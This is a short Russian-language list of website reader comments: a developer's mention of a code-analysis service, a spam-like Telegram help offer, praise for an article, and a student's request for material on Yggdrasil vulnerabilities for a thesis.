    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru